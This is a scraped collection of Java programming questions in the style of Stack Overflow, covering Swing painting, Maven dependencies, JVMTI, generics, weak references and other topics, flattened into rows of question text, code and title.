Swing that only occurs when the computer monitor is powered off , but my Swing application continues to run in the background . It seems that whenever the monitor is off , Swing/AWT cancels all painting operations , leading to a number of display issues in the GUI that are visible as soon as the monitor turns back on.For example , when I turn off the monitor using a custom JNI function and subsequently open a simple message dialog , the message dialog is blank when the monitor turns back on : But it paints correctly after the next repaint : Is this the expected behavior of Swing ? Is there a way to instruct Swing to continue drawing to the screen even if the monitor is powered off ? EDIT : Here is an SSCCE : I am using 64-bit Windows 7 Home Premium SP1 and 64-bit Java 1.6.0_24.EDIT 2 : Here is another program with which I experience the effect of `` canceled painting operations '' : Before the monitor shuts off , I see : With the monitor off , the label background color is changed to yellow in the background . I then move the mouse to turn the monitor back on . The dialog is visually unchanged . It is only after I force a repaint ( by ALT-TABbing , for example ) do I see the yellow : EDIT 3 : Reported to Oracle as Bug ID 7049597 .","package test ; import javax.swing.JOptionPane ; import javax.swing.SwingUtilities ; public class App { public static void main ( String [ ] args ) throws Throwable { System.out.println ( `` ***** Please turn off the monitor in the next 70 seconds ***** '' ) ; Thread.sleep ( 1000L * 70 ) ; SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { JOptionPane.showMessageDialog ( null , `` Test '' ) ; } } ) ; } } package test ; import static com.mycompany.Util.turnOffMonitors ; import java.awt.BorderLayout ; import java.awt.Color ; import java.awt.Container ; import java.awt.Dimension ; import javax.swing.JDialog ; import javax.swing.JFrame ; import javax.swing.JLabel ; import javax.swing.SwingUtilities ; public class DialogTest extends JDialog { private final JLabel label ; public DialogTest ( ) { setDefaultCloseOperation ( JDialog.DISPOSE_ON_CLOSE ) ; label = new JLabel ( `` Test '' , JLabel.CENTER ) ; label.setOpaque ( true ) ; Container contentPane = getContentPane ( ) ; contentPane.setLayout ( new BorderLayout ( ) ) ; contentPane.add ( BorderLayout.CENTER , label ) ; this.setPreferredSize ( new Dimension ( 200 , 110 ) ) ; pack ( ) ; setLocationRelativeTo ( null ) ; setVisible ( true ) ; Thread t = new Thread ( ) { @ Override public void run ( ) { turnOffMonitors ( ) ; try { Thread.sleep ( 3000L ) ; } catch ( InterruptedException ex ) { } SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { label.setBackground ( Color.YELLOW ) ; } } ) ; } } ; t.start ( ) ; } public static void main ( String [ ] args ) throws Throwable { SwingUtilities.invokeLater ( new Runnable ( ) { public void run ( ) { new DialogTest ( ) ; } } ) ; } }",Does AWT/Swing cancel painting operations if the monitor is off ? +Java,"My application connects to db and gets tree of categories from here . In debug regime I can see this big tree object and I just thought of ability to save this object somewhere on disk to use in test stubs . Like this : Assuming mySavedObject - is huge enough , so I do n't want to generate it manually or write special generation code . I just want to be able to serialize and save it somewhere during debug session then deserialize it and pass to thenReturn in tests.Is there is a standard way to do so ? If not how is better to implement such approach ?",mockedDao = mock ( MyDao.class ) ; when ( mockedDao.getCategoryTree ( ) ) .thenReturn ( mySavedObject ) ;,Save object in debug and than use it as stub in tests +Java,I was looking at the example implementation of Publisher ( AsyncIterablePublisher.java ) of the reactive-streams spec when I stumbled into something that I do n't understand why it was done that way.Being realistic that I 'm not such an advanced programmer as the person that wrote this I 'm sure that there is a reason to do it that way . But I 'm also not able to explain why it would be better than doing this ( which is how I would have done it ) .Could someone explain it to me why it would be better ? Advantages / disadvantages ?,"static interface Signal { } ; enum Cancel implements Signal { Instance ; } ; enum Subscribe implements Signal { Instance ; } ; enum Send implements Signal { Instance ; } ; enum Signal { Cancel , Subscribe , Send ; }",Multiple enums vs One enum +Java,"I am a bit confused about how the mechanism for optional dependencies works in Maven.Is seems optional dependencies only work when specified directly , and not via Dependency Management.I created three test projects p1-p3 , with dependencies : p3 depends on p2p2 depends on p1If I declare a dependency as optional in the < dependencies > element , this works as expected . POM of p2 : Result : The build of p3 pulls in p2 , but not p1.However , if I If I declare a dependency as optional in the < dependencyManagement > element , it seems to be ignored . POM of p2 : Result : The build of p3 pulls in p2 and p1.Is this expected behavior ? I could not find this documented anywhere.Notes : Tested with Maven 3.0.3 and 3.2.1.To see whether the build of p3 used p1 , I checked both the output of mvn dependency : tree , and the classpaths listed by mvn -X ( with identical results ) .I also tried putting the < dependencyManagement > element into the POM of p1 , instead of p2 . The result was the same , i.e . < optional > had no effect .",< dependencies > < dependency > < groupId > testgroup < /groupId > < artifactId > p1 < /artifactId > < version > 1.0-SNAPSHOT < /version > < optional > true < /optional > < /dependency > < /dependencies > < dependencyManagement > < dependencies > < dependency > < groupId > testgroup < /groupId > < artifactId > p1 < /artifactId > < version > 1.0-SNAPSHOT < /version > < optional > true < /optional > < /dependency > < /dependencies > < /dependencyManagement > < dependencies > < dependency > < groupId > testgroup < /groupId > < artifactId > p1 < /artifactId > < /dependency > < /dependencies >,Is the tag `` < optional > '' valid in dependencyManagement element ? +Java,"So , I 'm watching Robert Sedgewick 's videos on Coursera and I am currently at the Shuffling one . He 's showing a `` poorly written '' shuffling code for online poker ( it has a few other bugs , which I 've removed because they are not related to my question ) This is how the algorithm works : It iterates all the cards once . At each iteration a random number is generated and the i-th card is swapped with the r-th card . Simple , right ? While I understand the algorithm , I did n't understand his probability calculation . He said that because Random uses a 32-bit seed ( or 64 , it does n't seem to matter ) , this is constrained to only 2^32 different permutations.He also said that Knuth 's algorithm is better ( same for loop , but choose a number between 1 and i ) because it gives you N ! permutations . I can agree with Knuth 's algorithm calculations . But I think that on the first one ( which is supposed to be the faulty one ) there should be N^N different permutations . Is Sedgewick wrong or am I missing a fact ?","for ( int i = 0 ; i < N ; i++ ) int r = new Random ( ) .nextInt ( 53 ) ; swap ( cardArray , i , r ) ;",Random Shuffling in Java ( or any language ) Probabilities +Java,"I have been trying to think of a performance efficient way of finding the union of character occurrences in a set of fixed width strings grouped by index . Something like this ; Resulting in the following where each group of digits exists in all strings at char index n : I have thought of doing it the very naive way of iterating through every string , at every index while storing the intermediate strings in an array and then iterating through that array to build the output value . However my approach seems to me as a highly inefficient way which is way too far from an asymptotically optimal solution .",s1 = `` 013965 '' s2 = `` 015935 '' s3 = `` 310012 '' out = `` [ 03 ] [ 1 ] [ 350 ] [ 90 ] [ 631 ] [ 52 ] '',Algorithm to find the union of multiple strings grouped by character index +Java,"i 'm working on JVMTI agent and I want to identify same thread on method enter and exit . I 'm able to obtain thread name , but that 's not sufficient.Imagine you have a method like this : So entering this method will have one name and exiting this thread have different name.When using JVMTI like this : Each info will report different thread name and I want to have the same identifier for them.How can I get the same identifier for the thread ? One solution can be to get field value of referenced Thread ( tid ) .How to do that ? I can iterat through the heap but I can not get the field name .","public class Main { public static void myMethod ( ) { System.out.println ( `` doing something as `` + Thread.currentThread ( ) .getName ( ) ) ; Thread.currentThread ( ) .setName ( `` SomethingDifferent '' ) ; System.out.println ( `` doing something as same thread `` + Thread.currentThread ( ) .getName ( ) ) ; } } static void JNICALL callback_on_method_entry ( jvmtiEnv *jvmti , JNIEnv* env , jthread thread , jmethodID method ) { ... ( *jvmti ) - > GetThreadInfo ( jvmti , thread , & info ) ; ... } static void JNICALL callback_on_method_exit ( jvmtiEnv *jvmti , JNIEnv *env , jthread thread , jmethodID method , jboolean was_popped_by_exception , jvalue return_value ) { ... ( *jvmti ) - > GetThreadInfo ( jvmti , thread , & info ) ; ... }",How to uniquely identify thread in jvmti +Java,"Foreword : What am I going to show you is WRONG and I 'm well aware of how bad I am for breaking encapsulation by doing such foolish thing.I 'm not trying to solve any more general I/O problem . It 's just an experiment.I 'm trying to sub-class sun.nio.ch.SourceChannelImpl which is package private class with package private constructor present in JDK ( in rt.jar ) so I have to create it in sun.nio.ch package.Here is my sub-class : Here is my simple test : And here 's the failure : It 's probably not you ca n't define class in JDK package XYZ ( ( java|sun ) . * ) type of problem because otherwise I 'd getMain class works fine in this package.I 've also tried to disable security checks by setting Policy allowing everything and that did n't help neither . I 've also tried System.setSecurityManager ( null ) ; ( I 'm not sure if this actually disables it ) and it did n't help neither.What 's the problem ? How can I fix it please ? I 've tried it with JDK 1.7.0_45 , both Oracle and OpenJDK .","package sun.nio.ch ; import java.io.FileDescriptor ; import java.nio.channels.spi.SelectorProvider ; class MySourceChannel extends SourceChannelImpl { public MySourceChannel ( SelectorProvider sp , FileDescriptor fd ) { super ( sp , fd ) ; } } package sun.nio.ch ; import java.io.FileDescriptor ; public class Main { public static void main ( String [ ] args ) { new MySourceChannel ( null , FileDescriptor.in ) ; } } Exception in thread `` main '' java.lang.IllegalAccessError : class sun.nio.ch.MySourceChannel can not access its superclass sun.nio.ch.SourceChannelImpl at java.lang.ClassLoader.defineClass1 ( Native Method ) at java.lang.ClassLoader.defineClass ( ClassLoader.java:800 ) at java.security.SecureClassLoader.defineClass ( SecureClassLoader.java:142 ) at java.net.URLClassLoader.defineClass ( URLClassLoader.java:449 ) at java.net.URLClassLoader.access $ 100 ( URLClassLoader.java:71 ) at java.net.URLClassLoader $ 1.run ( URLClassLoader.java:361 ) at java.net.URLClassLoader $ 1.run ( URLClassLoader.java:355 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.net.URLClassLoader.findClass ( URLClassLoader.java:354 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:425 ) at sun.misc.Launcher $ AppClassLoader.loadClass ( Launcher.java:308 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:358 ) at sun.nio.ch.Main.main ( Main.java:5 ) java.lang.SecurityException : Prohibited package name : XYZ",Subclassing sun . * class in same package gives IllegalAccessError +Java,"I 'd like to implement a method that takes an Object as argument , casts it to an arbitrary type , and if that fails returns null . Here 's what I have so far : Unfortunately the class cast exception is never thrown/caught in the body of the staticCast ( ) function . It seems Java compiler generates the function String staticCast ( Object arg ) in which you have a line String result = ( String ) arg ; even though I explicitly say that the template type should be MyClass . Any help ? Thanks .","public static void main ( String [ ] args ) { MyClass a , b ; a = Main. < MyClass > staticCast ( new String ( `` B '' ) ) ; } public static class MyClass { } public static < T > T staticCast ( Object arg ) { try { if ( arg == null ) return null ; T result = ( T ) arg ; return result ; } catch ( Throwable e ) { return null ; } }",Java generics +Java,"Unfortunatelly I am not able to find an option in Intellij which will enable me to show ascii escaped characters in properties-files ( *.properties ) ( UTF-8 ) for translations , meaning intellij automagically always shows the result of the escaped characters , but I need to confirm the escapeings without the use of an external viewer ( vi , mate , etc ) .Also it would be nice for the diff viewer in intellij to actually show the changes towards escaped characters.Here is an example for the escaped string : Intellij is always showing it like this : Even when opening the *.properties files in text editor mode , the strings are escaped ... Edit : Im am usingIntelliJ IDEA 2016.1.2Build # IU-145.972 , built on May 14 , 2016JRE : 1.8.0_73-b02 x86_64JVM : Java HotSpot ( TM ) 64-Bit Server VM by Oracle Corporation",key=Nak\u0142ad key=Nakład,"intellij , switch off ascii handling for properties" +Java,"I 'm wondering if there 's ever a valid use case for the following : It seems to be a common pattern ( see Collections for a number of examples ) to accept a collection of type T , where T extends Comparable < ? super T > .But it seems technically impossible to fulfill the contract of compareTo ( ) when comparing to a base class , because there 's no way to ensure that another class does n't extend the base with a contradictory comparison . Consider the following example : We have two classes extending Base using comparisons that do n't follow a common rule ( if there were a common rule , it would almost certainly be implemented in Base ) . Yet the following broken sort will compile : Would n't it be safer to only accept T extends Comparable < T > ? Or is there some use case that would validate the wildcard ?","class Base { } class A implements Comparable < Base > { // ... } class Base { final int foo ; Base ( int foo ) { this.foo = foo ; } } class A extends Base implements Comparable < Base > { A ( int foo ) { super ( foo ) ; } public int compareTo ( Base that ) { return Integer.compare ( this.foo , that.foo ) ; // sort by foo ascending } } class B extends Base implements Comparable < Base > { B ( int foo ) { super ( foo ) ; } public int compareTo ( Base that ) { return -Integer.compare ( this.foo , that.foo ) ; // sort by foo descending } } Collections.sort ( Arrays.asList ( new A ( 0 ) , new B ( 1 ) ) ) ;",Should Comparable ever compare to another type ? +Java,"I have Skype ( 2.8.0.920 ) installed on two Android devices . The first device comes with Android 2.2 , second with 4.04. when I initiate a call by executing the following code ... ... Skype starts dialing and hangs up after 2 sec.However , the code works fine if I replace the current ( 2.8.0.920 ) Skype version by the previous.Why is this ? Any help ?","Intent skype_intent = new Intent ( `` android.intent.action.CALL_PRIVILEGED '' ) ; skype_intent.setClassName ( `` com.skype.raider '' , `` com.skype.raider.Main '' ) ; skype_intent.addFlags ( Intent.FLAG_ACTIVITY_NEW_TASK ) ; skype_intent.setData ( Uri.parse ( `` tel : PassportCard '' ) ) ; act.startActivity ( skype_intent ) ;",Skype Starts Dialing and Hangs Up After 2 Seconds - Android +Java,I want to passes some value inside button click with viewpager tab fragment changing . I have two question . what is the best way to passes data ? If I use static data what will be problem ? such like :,public static string abc= '' '' case R.id.IVActionMore : ViewPager viewPager = ( ViewPager ) getActivity ( ) .findViewById ( R.id.tabs_viewpager ) ; viewPager.setCurrentItem ( 3 ) ; //abc = `` action '' ; break ;,Pass some data with viewpager.setCurrentItem ( position ) +Java,"I 'm having trouble inserting into a binomial heap , When I call insert 1 it prints ( 1 ) and then I insert 2 it displays ( 2 ) instead of ( 1 ( 2 ) ) and then three it displays ( 3 ) instead of ( 3 ) ( 1 ( 2 ) ) . I would be very grateful if someone could help figure out my problem . Thank you in advance . Here is my code","public class BHeap { int key ; int degree ; //The degree ( Number of children ) BHeap parent , leftmostChild , rightmostChild , rightSibling , root , previous , next ; public BHeap ( ) { key =0 ; degree=0 ; parent =null ; leftmostChild=null ; rightmostChild=null ; rightSibling=null ; root=null ; previous=null ; next=null ; } public BHeap merge ( BHeap y ) { BHeap newHeap = new BHeap ( ) ; BHeap currentHeap = y ; BHeap nextHeap = y.rightSibling ; while ( currentHeap.rightSibling ! =null ) { if ( currentHeap.degree==nextHeap.degree ) { if ( currentHeap.key < nextHeap.key ) { if ( currentHeap.degree ==0 ) { currentHeap.leftmostChild=nextHeap ; currentHeap.rightmostChild=nextHeap ; currentHeap.rightSibling=nextHeap.rightSibling ; nextHeap.rightSibling=null ; nextHeap.parent=currentHeap ; currentHeap.degree++ ; } else { newHeap = currentHeap ; newHeap.rightmostChild.rightSibling=nextHeap ; newHeap.rightmostChild=nextHeap ; nextHeap.parent=newHeap ; newHeap.degree++ ; nextHeap.rightSibling=null ; nextHeap=newHeap.rightSibling ; } } else { if ( currentHeap.degree==0 ) { nextHeap.rightmostChild=currentHeap ; nextHeap.rightmostChild.root = nextHeap.rightmostChild ; //add nextHeap.leftmostChild=currentHeap ; nextHeap.leftmostChild.root = nextHeap.leftmostChild ; //add currentHeap.parent=nextHeap ; currentHeap.rightSibling=null ; currentHeap.root=currentHeap ; //add nextHeap.degree++ ; } else { newHeap=nextHeap ; newHeap.rightmostChild.rightSibling=currentHeap ; newHeap.rightmostChild=currentHeap ; currentHeap.parent= newHeap ; newHeap.degree++ ; currentHeap=newHeap.rightSibling ; currentHeap.rightSibling=null ; } } } else { currentHeap=currentHeap.rightSibling ; nextHeap=nextHeap.rightSibling ; } } return y ; } public void Insert ( int x ) { BHeap newHeap= new BHeap ( ) ; newHeap.key=x ; if ( this.root==null ) { this.root=newHeap ; } else { this.root = merge ( newHeap ) ; } } public void Display ( ) { System.out.print ( `` ( `` ) ; System.out.print ( this.root.key ) ; if ( this.leftmostChild ! = null ) { this.leftmostChild.Display ( ) ; } System.out.print ( `` ) '' ) ; if ( this.rightSibling ! =null ) { this.rightSibling.Display ( ) ; } } }",Binomial Heap Insertion java +Java,"I just started using mock objects ( using Java 's mockito ) in my tests recently . Needless to say , they simplified the set-up part of the tests , and along with Dependency Injection , I would argue it made the code even more robust.However , I have found myself tripping in testing against implementation rather than specification . I ended up setting up expectations that I would argue that it 's not part of the tests . In more technical terms , I will be testing the interaction between SUT ( the class under test ) and its collaborators , and such dependency is n't part of contract or the interface of the class ! Consider that you have the following : When dealing with XML node , suppose that you have a method , attributeWithDefault ( ) that returns the attribute value of the node if it 's available , otherwise it would return a default value ! I would setup the test like the following : Well , here not only did I test that attributeWithDefault ( ) adheres to the specification , but I also tested the implementation , as I required it to use Element.getAttribute ( ) , instead of Element.getAttributeNode ( ) .getValue ( ) or Element.getAttributes ( ) .getNamedItem ( ) .getNodeValue ( ) , etc.I assume that I am going about it in the wrong way , so any tips on how I can improve my usage of mocks and best practices will be appreciated.EDIT : What 's wrong with the testI made the assumption above that the test is a bad style , here is my rationale.The specification does n't specify which method gets called . A client of the library should n't care of how attribute is retrieved for example , as long as it is done rightly . The implementor should have free reign to access any of the alternative approaches , in any way he sees fit ( with respect to performance , consistency , etc ) . It 's the specification of Element that ensures that all these approaches return identical values.It does n't make sense to re-factor Element into a single method interface with getElement ( ) ( Go is quite nice about this actually ) . For ease of use , a client of the method should be able to just to use the standard Element in the standard library . Having interfaces and new classes is just plain silly , IMHO , as it makes the client code ugly , and it 's not worth it.Assuming the spec stays as is and the test stays as is , a new developer may decide to refactor the code to use a different approach of using the state , and cause the test to fail ! Well , a test failing when the actual implementation adheres to the specification is valid.Having a collaborator expose state in multiple format is quite common . A specification and the test should n't depend on which particular approach is taken ; only the implementation should !","Element e = mock ( Element.class ) ; when ( e.getAttribute ( `` attribute '' ) ) .thenReturn ( `` what '' ) ; when ( e.getAttribute ( `` other '' ) ) .thenReturn ( null ) ; assertEquals ( attributeWithDefault ( e , `` attribute '' , `` default '' ) , `` what '' ) ; assertEquals ( attributeWithDefault ( e , `` other '' , `` default '' ) , `` default '' ) ;",Use of Mocks in Tests +Java,"I have a list of strings and I have 10 unique methods doing different validations based on what string it is . For example this is what I have now : So instead of doing the same if-else check 10 times for all the different methods I was hoping I could store the names in a String list and have a for loop going through it in the following manner : Please let me know if this is possible , or if this is a rudimentary approach and there is a more elegant solution to my problem . To reiterate my problem is basically I have 10 different & unique validate methods and instead of writing if-else for each of them I want to be able to go through a for loop to call these methods with the new name . Thanks in advance for the help !",if ( name1 ! = null ) { validateName1 ( ) ; } else { throw Error ( ) ; } if ( name2 ! = null ) { validateName2 ( ) ; } else { throw Error ( ) ; } ... List < String > names = new ArrayList < String > ( ) ; for ( name : names ) { if ( name ! = null ) { validate [ name ] ( ) ; } else { throw Error ( ) ; },How to use for loop to change method name +Java,The output for the above code appears to beHello from SBI staticWhat should I add to my code and Y to also print the statementConnected to SBIIn detail explanation is much appreciatedP.S . Noob here,interface Bank { void connect ( ) ; } class SBI implements Bank { static { System.out.println ( `` Hello from SBI static '' ) ; } public void connect ( ) { System.out.println ( `` Connected to SBI '' ) ; } } class LooseCouplingTest { public static void main ( String ... args ) throws Exception { String className = args [ 0 ] ; Class.forName ( className ) ; } },Loose coupling with Class.forName ( ) +Java,"I can create a recursive closure : But of course , it has sense only as an example . To be useful , such collection should keep already once counted elements and get ( ) them without recounting . The counting of elements should happen in lazy way , at first need . Thus , no member will have to be calculated more than once . In such way we 'll a structure that will look like a recursively defined sequence , and will be fast and reusable . When I started to study Java 8 I thought that Stream works in that way . But it does not , for the stream can not be used twice.I thought about the following construction : But that way it wo n't work - I ca n't get an item from the stream by index.The other problem is that if I 'll later go along the stream , it will be consumed and I ca n't use it repeatedly . If I copy the stream to List , it is not lazy anymore.As a result , I need some construction that I can address by index . As fibo ( i ) . Edit . Obviously , the solution can not be a stream , for the stream can not be used twice . I do n't want to repeat all calculations on every call to F ( i ) .","static IntUnaryOperator fibo ; fibo = ( i ) - > i < 2 ? 1 : fibo.applyAsInt ( i-1 ) + fibo.applyAsInt ( i-2 ) ; IntStream fi ; fi=IntStream.iterate ( 0 , i - > fi [ i-1 ] +fi [ i-2 ] ) ;","Is it possible to create in Java 8 a unlimitedly growing in lazy way collection , defined by recursion ?" +Java,"Note : I found multiple questions pointing out differences between javac and the Eclipse compiler , but as far as I could see all of them discuss other issues.Suppose we have this method : I found different behavior between javac and the Eclipse Java compiler when compiling calls to this method and I 'm not sure which of the two is right.A simple use of this method could be : The compiler should be able to bind T to Optional < String > using the first argument and U to String using the second . So this call should be valid ( in my opinion ) .This compiles fine using javac but fails to compile using Eclipse : Type mismatch : can not convert from void to < unknown > Adding a type argument to the first argument ( ( ) - > Optional. < String > of ( `` foo '' ) ) makes it compile in Eclipse too.Question : From a specification point of view , is Eclipse correct in rejecting this call ( and why ( not ) ) ? Now suppose we want to throw a custom ( runtime ) exception , if the Optional is empty : This is rejected by both , javac and the Eclipse compiler , but with different error messages : javac : `` unreported exception X ; must be caught or declared to be thrown '' Eclipse compiler : `` Type mismatch : can not convert from void to < unknown > '' When I add the type argument to the first argument as above , Eclipse succeeds in compiling while javac still fails . When I add < RuntimeException > as type argument to the second argument , it 's the other way around , Eclipse fails and javac succeeds.Question : Again , are the compilers right in rejecting this call and why ? In my opinion both variants should compile fine without additional hints by using type arguments . If so I 'll fill one bug report for javac ( regarding the `` unreported exception '' ) and one for the Eclipse compiler ( regarding the `` type mismatch '' ) . But first I want to be sure the specification shares my point of view.Versions used : javac : 1.8.0_66Eclipse JDT : 3.11.1.v20151118-1100EDIT : I filled bug 482781 for the issue in Eclipse.The issue with javac is already reported as JDK-8056983 , see Tunakis answer .","public static < T , U > void foo ( Supplier < T > a , Function < T , U > b , Consumer < U > c ) { c.accept ( b.apply ( a.get ( ) ) ) ; } // variant 1foo ( ( ) - > Optional.of ( `` foo '' ) , value - > value.get ( ) , value - > System.out.println ( value ) ) ; // variant 2foo ( ( ) - > Optional.of ( `` foo '' ) , value - > value.orElseThrow ( ( ) - > new RuntimeException ( ) ) , value - > System.out.println ( value ) ) ;",Generics and lambdas - different behavior in javac and Eclipse compiler +Java,"My other question got closed as a duplicate , so I 'll try this again . I have also read this question and what I 'm asking is different . I 'm interested in learning the internal implementation of how Call-by-Name : = > Type differs from ( ) = > Type . My confusion is coming from looking at javap and cfr disassembly which shows no difference in the two cases . e.g . ParamTest.scala : javap output javap ParamTest.scala : CFR Decompiled output java -jar cfr_0_118.jar ParamTest $ .class : EDIT 1 : Scala Syntax Tree : scalac -Xprint : parse ParamTest.scalaEDIT 2 : Mailing list research : Read this interesting post on the mailing list which essentially states that = > T is implemented as ( ) = > T. Quote : First , look at f : = > Boolean Although this is called a `` by-name parameter '' , it is actually implemented as a Function0 , f : ( ) = > Boolean just with different syntax used on both ends . Now I 'm even more confused by this answer which explicitly states that the two are different.Questions : How is Scala distinguishing bar from baz ? The method signatures ( not implementation ) for both are identical in the decompiled code.Does the difference in the two scenarios not get persisted into the compiled bytecode ? Is the decompiled code inaccurate ? Added after Edit 1 : I found that the scalac syntax tree does show a difference , bar has the second argument of type _root_.scala. < byname > [ Int ] . What does it do ? Any explanation , pointers in scala source or equivalent pseudo code will be helpful.See EDIT 2 above : Is the quoted block correct ? As in , is = > T a special subclass of Function0 ?","object ParamTest { def bar ( x : Int , y : = > Int ) : Int = if ( x > 0 ) y else 10 def baz ( x : Int , f : ( ) = > Int ) : Int = if ( x > 0 ) f ( ) else 20 } public final class ParamTest { public static int baz ( int , scala.Function0 < java.lang.Object > ) ; public static int bar ( int , scala.Function0 < java.lang.Object > ) ; } import scala.Function0 ; public final class ParamTest $ { public static final ParamTest $ MODULE $ ; public static { new ParamTest $ ( ) ; } public int bar ( int x , Function0 < Object > y ) { return x > 0 ? y.apply $ mcI $ sp ( ) : 10 ; } public int baz ( int x , Function0 < Object > f ) { return x > 0 ? f.apply $ mcI $ sp ( ) : 20 ; } private ParamTest $ ( ) { MODULE $ = this ; } } package < empty > { object ParamTest extends scala.AnyRef { def < init > ( ) = { super. < init > ( ) ; ( ) } ; def bar ( x : Int , y : _root_.scala. < byname > [ Int ] ) : Int = if ( x. $ greater ( 0 ) ) y else 10 ; def baz ( x : Int , f : _root_.scala.Function0 [ Int ] ) : Int = if ( x. $ greater ( 0 ) ) f ( ) else 20 } }",How does Scala distinguish between ( ) = > T and = > T +Java,"I have a section in my GUI that is generated dynamically according to a list of objects.So , for each object in that list I want to create a JButton and associate a keyboard shortcut.For example : How do I make the code `` setMnemonic ( KeyEvent.VK_F1 ) '' dynamic in an elegant way ? Is there some way to get a range of keys automatically and then use it in this iteration ? Thanks !",for ( String tag : testTags ) { new JButton ( tag ) .setMnemonic ( KeyEvent.VK_F1 ) ; },How to dynamically assig keys to buttons ? +Java,"I 'm having two lists of objects , users and productsusers own products , and each products is associated to 1 userbut a product type can be multiple and be owned by separate usersusers : Ed , Robproducts : Coca , Sprites ( 1 ) , Sprites ( 2 ) , BeerEd has Coca and Sprites ( 1 ) , Rob Sprites ( 2 ) and BeerI need to generate an id for each unique ( user+product ) It 's probably not a good idea to do What could be a good way to proceed ?",user.hashCode ( ) + product.hashCode ( ),Java hash of 2 hashes +Java,"I have the following piece of code : Method unwrap ( ) just creates a list of T 's referenced by the weak references in slaves and as a side effect eliminates the weak references referencing null in slaves . Then comes the sort which relies on that each member of slaves references some T ; otherwise the code yields a NullPointerException.Since unwrapped holds a reference on each T in slaves , during sorting no GC eliminates a T. Finally , unwrapped = null eliminates the reference on unwrapped and so releases GC again . Seems to work quite well . Now my question : If I remove unwrapped = null ; this results in NullPointerExceptions when running many tests under some load . I suspect that the JIT eliminates List < T > unwrapped = unwrap ( ) ; and so GC applies to the T 's in slaves during sorting . Do you have another explanation ? If you agree with me , is this a bug in the JIT ? I personally think that unwrapped = null should not be necessary , because unwrapped is removed from the frame as soon as updateOrdering ( ) returns . Is there a specification what may be optimized and what is not ? Or did I do the thing in the wrong way ? I have the idea to modify comparator that it allows weak references on null . What do you think about that ? Thanks for suggestions . Add on ( 1 ) Now I want to add some missing pieces of information : First of all Java version : java version `` 1.7.0_45 '' OpenJDK Runtime Environment ( IcedTea 2.4.3 ) ( suse-8.28.3-x86_64 ) OpenJDK 64-Bit Server VM ( build 24.45-b08 , mixed mode ) Then someone wanted to see method unwrap Note that while iterating , void references are removed . In fact i replaced this method by using my own iterator but functionally this should be the same . Then someone wantet the stacktrace . Here is a piece of it . it points into the comparator , the line with the return . and finally , is an important constant . Add on ( 2 ) Observed now that indeed NPE occurs even if 'unwrapped = null ' is present in updateOrdering ( ) . Weak references may be removed by java runtime if no strict reference holds after jit optimization . The source code seems not important at all . I solved the problem the following way : without any decoration inserted to prevent slaves to be garbage collected and the comparator in CMP_IDX_SLV enabled to handle weak references to null : As a side effect , ordering the underlying list List > slaves ; puts the void weak references at the end of the list , where it can be collected later .","private final List < WeakReference < T > > slaves ; public void updateOrdering ( ) { // removes void weak references // and ensures that weak references are not voided // during subsequent sort List < T > unwrapped = unwrap ( ) ; assert unwrapped.size ( ) == this.slaves.size ( ) ; // **** could be reimplemented without using unwrap ( ) **** Collections.sort ( this.slaves , CMP_IDX_SLV ) ; unwrapped = null ; // without this , ... . } private synchronized List < T > unwrap ( ) { List < T > res = new ArrayList < T > ( ) ; T cand ; WeakReference < T > slvRef ; Iterator < WeakReference < T > > iter = this.slaves.iterator ( ) ; while ( iter.hasNext ( ) ) { slvRef = iter.next ( ) ; cand = slvRef.get ( ) ; if ( cand == null ) { iter.remove ( ) ; continue ; } assert cand ! = null ; res.add ( cand ) ; } // while ( iter.hasNext ( ) ) return res ; } private synchronized List < T > unwrap ( ) { List < T > res = new ArrayList < T > ( ) ; for ( T cand : this ) { assert cand ! = null ; res.add ( cand ) ; } return res ; } java.lang.NullPointerException : null at WeakSlaveCollection $ IdxComparator.compare ( WeakSlaveCollection.java:44 ) at WeakSlaveCollection $ IdxComparator.compare ( WeakSlaveCollection.java:40 ) at java.util.TimSort.countRunAndMakeAscending ( TimSort.java:324 ) at java.util.TimSort.sort ( TimSort.java:189 ) at java.util.TimSort.sort ( TimSort.java:173 ) at java.util.Arrays.sort ( Arrays.java:659 ) at java.util.Collections.sort ( Collections.java:217 ) at WeakSlaveCollection.updateOrdering ( WeakSlaveCollection.java:183 ) static class IdxComparator implements Comparator < WeakReference < ? extends XSlaveNumber > > { public int compare ( WeakReference < ? extends XSlaveNumber > slv1 , WeakReference < ? extends XSlaveNumber > slv2 ) { return slv2.get ( ) .index ( ) -slv1.get ( ) .index ( ) ; } } // class IdxComparator private final static IdxComparator CMP_IDX_SLV = new IdxComparator ( ) ; public void updateOrdering ( ) { Collections.sort ( this.slaves , CMP_IDX_SLV ) ; } public int compare ( WeakReference < ? extends XSlaveNumber > slv1 , WeakReference < ? extends XSlaveNumber > slv2 ) { XSlaveNumber sSlv1 = slv1.get ( ) ; XSlaveNumber sSlv2 = slv2.get ( ) ; if ( sSlv1 == null ) { return sSlv2 == null ? 0 : -1 ; } if ( sSlv2 == null ) { return +1 ; } assert sSlv1 ! = null & & sSlv2 ! = null ; return sSlv2.index ( ) -sSlv1.index ( ) ; }",JIT Optimization and Weak References +Java,"Today I upgraded Eclipse to Version 4.5.Since then , it formates differently : Before : Now : This also happens for : switch , for , if and others ... It looks like the first indention level within a method body is broken.I reviewed formatting settings but have n't seen something that may be responsible for this.Is this a bug , or is there a setting ? Update : 01.07.2015It only happens , if the tab size is set to 2 , If it 's set to 4 everything looks fine besides the waste of space ... WorkaroundAt the formatter settings , switch from Tabs only to mixed.Then add 2 for Indention size and 2 for Tab size.Switch setting back to Tabs only and apply everything.Now formatting works like it did with version 4.4 and it uses 2 for a tab , not 4 .","@ Overridepublic void close ( ) { try { engine.closeSession ( session ) ; status = NOT_CONNECTED ; } catch ( final OpenpagesException e ) { log.error ( `` Closing connection failed '' , e ) ; } } @ Overridepublic void close ( ) { try { engine.closeSession ( session ) ; status = NOT_CONNECTED ; } catch ( final OpenpagesException e ) { log.error ( `` Closing connection failed '' , e ) ; } }",Eclipse 4.5 Java Formatter changed +Java,I ran across this example and realized i do n't fully understand what 's going on hereWhat is < - in Java ?,if ( a < - b ) { return false ; },What does < - mean in Java ? +Java,"I 'm performing a test to find and replace a string of 3 or 4 capital letters followed by a number with that same string , a hyphen , and that same number . In Perl , I can use : I 've tried this in Java , hardcoding a string like : But no match was found . Is my Java syntax wrong or is it a regular expression issue ?","s/ ( [ A-Z ] { 3,4 } ) ( [ 0-9 ] ) / $ 1- 